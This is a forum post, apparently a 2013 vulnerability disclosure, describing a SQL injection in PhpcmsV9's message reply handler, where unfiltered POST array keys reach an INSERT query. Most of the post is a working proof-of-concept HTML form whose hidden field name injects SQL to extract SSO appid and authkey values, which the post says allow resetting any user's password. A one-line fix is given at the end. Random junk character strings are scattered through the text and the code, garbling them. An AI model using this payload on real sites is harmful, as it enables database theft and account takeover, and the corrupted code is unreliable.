找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2215|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:% G# m2 ?! z9 d0 \

' r! _9 |4 e8 W* F5 P第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。6 h5 R7 f1 E0 ^0 X3 Q9 T9 \  w

' W9 s" E! y3 F明天再更新下一个漏洞。' b2 ]! U: G' P$ _: W5 A
详细说明:3 z! h. [* V8 r5 r
在/phpcms9/phpcms/modules/message/index.php中有代码如下:# @7 ^8 }1 y/ o, i3 ~7 Y
, D# M: p2 U- f9 |. w6 a+ k
$messageid = $this->message_db->insert($_POST['info'],true);
* N/ Z* ?% u; f! @8 |
/ m1 G# Z% |4 i6 V: e$ X' K/ w0 `' M  q8 b( n8 U
insert方法是key value的,代码如下:- O8 e  r& s9 t+ F+ v# r  P

$ V) t9 s4 E7 J* P- Bpublic function insert($data, $table, $return_insert_id = false, $replace = false) {3 X6 Y) `9 H- Q; m* Q& R# d
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
- V- P5 O$ X) X( Y. E                        return false;" \# X( m: s+ y
                }
, v8 w- G' S- u0 r! W) o3 Y6 A               
7 |4 K" u# `# T. Y4 N8 F& W                $fielddata = array_keys($data);
, G1 {- D+ n. b                $valuedata = array_values($data);6 j3 Y+ `. D9 U' f4 I; |3 l& i
                array_walk($fielddata, array($this, 'add_special_char'));
3 G, A5 J4 h9 M: v1 ~3 {" _/ B                array_walk($valuedata, array($this, 'escape_string'));7 w9 ]: Z  W  d# P! q
               
6 _) N3 d# i1 H& A5 u) j                $field = implode (',', $fielddata);* C3 j1 I6 C  @: o8 t
                $value = implode (',', $valuedata);, Y& Z) P/ ^3 w- U3 L) O, X$ i" Z

7 Q( a7 F% D6 c: u                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
. q1 L% b8 T" d9 s+ E3 ^                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
2 I, [; W" v7 D+ p  C8 S! u                $return = $this->execute($sql);1 s- T$ Q/ b4 S9 [
                return $return_insert_id ? $this->insert_id() : $return;* u) h% s# I" G6 }9 z/ _
        }+ z6 f" a0 A  i# E$ C0 `+ v
4 Q# [  S. U! D# y$ a4 X3 R6 K. c0 r
/ V+ k! j( B+ p! `, ~$ ^# A
嗯,很遗憾的是& E" t: x% ~- x/ o  e9 ]

" T" K+ S% n- ^4 E; S% Carray_walk($fielddata, array($this, 'add_special_char'));: q2 v& R% T; f0 }, J- j# j
* v2 T; X4 A* S( ]

7 _8 F% l/ g1 n# \8 R0 y1 b/ y中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ T' Q$ M- H! G$ U) Z( Y+ K. V8 u
$ {; u, c5 w' \到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
0 V' G2 D% M1 j$ y* `  ~# M
- T$ }$ {4 y9 t: H" K  x8 u漏洞证明:
3 M% B" H2 y5 ~# Y. N; `读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。" f( b& g+ d& @2 O2 W1 k

- _" |, D* J& c3 U, I, Q" R' }
; H+ m+ \4 N0 {, X" N3 m表单如下:用户名什么的得自己改一改。
- D0 c5 q8 X/ Z" G<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) L4 B4 R1 K" Z. F4 e<table width="100%" cellspacing="0" class="table_form">
; n& F7 |3 |& T# s. e<tr>
5 N0 _8 |) T; T/ `2 O<th>标 题:</th>8 Q% @$ s- b7 S6 G7 {$ t: ]
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>2 S# q  r) _! ]& j' X. W+ _
</tr> 6 H! c' P7 @! b. s
<tr>
; }! J) b  r& c: y<th>内 容:</th>9 w. T9 y; W  B& l6 r; M5 [
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
4 s& h& b, P4 }0 Z! T/ n</tr>
* d. G, w: e6 q+ ?* ]7 f<input type="hidden" name="info[replyid]" value="2" />
! d' F. M, c1 S- j1 Q5 z" R* ^<input type="hidden" name="info[send_to_id]" value="cc" /> : F+ i4 x. h" C  }
<input type="hidden" name="info[send_from_id]" value="hh">
8 }1 j% J. R$ P& g+ Y# |& H) ?<!-- 漏洞的利用重点在这里开始 -->4 Y6 H3 l, C5 w3 }+ Z1 U7 W
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ) O6 d5 _3 a) W" k
<!-- 漏洞的利用重点在这里结束 -->
5 ]8 y: K1 p+ n2 V: C5 Z5 O<tr>
7 `' \4 r9 H0 K' ~6 J1 l3 |, ~% {<th>验证码:</th>
3 x: k5 l2 n' x8 W; G+ U8 u! l<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>: K3 @# t/ X) ~5 |8 N- E+ `
</tr>* L7 e5 `" H5 z
<tr>
7 i3 v6 O( d) g9 c8 i<td></td>
' f2 s9 B; ]- s% D8 Y<td colspan="2"><label>
- B( M& S+ c9 U' u4 K' k<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
* a+ ]* ]9 m* `! J</label></td>
& Z5 A: `! w1 w) ?</tr>1 ^, A  ]' v9 _9 z' g( ?
</table>
) e% L! g3 K1 ]7 S6 P</form>
9 c/ k' e# G3 S/ p在add_special_char函数内对key做过滤就可以了。# ^0 ^( e* t1 `0 t

9 e( d8 Y- ]# W/ m
" Y" Y: F5 |$ B7 y2 l$ r2 c3 E( a: E5 B+ n( H3 K; R

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表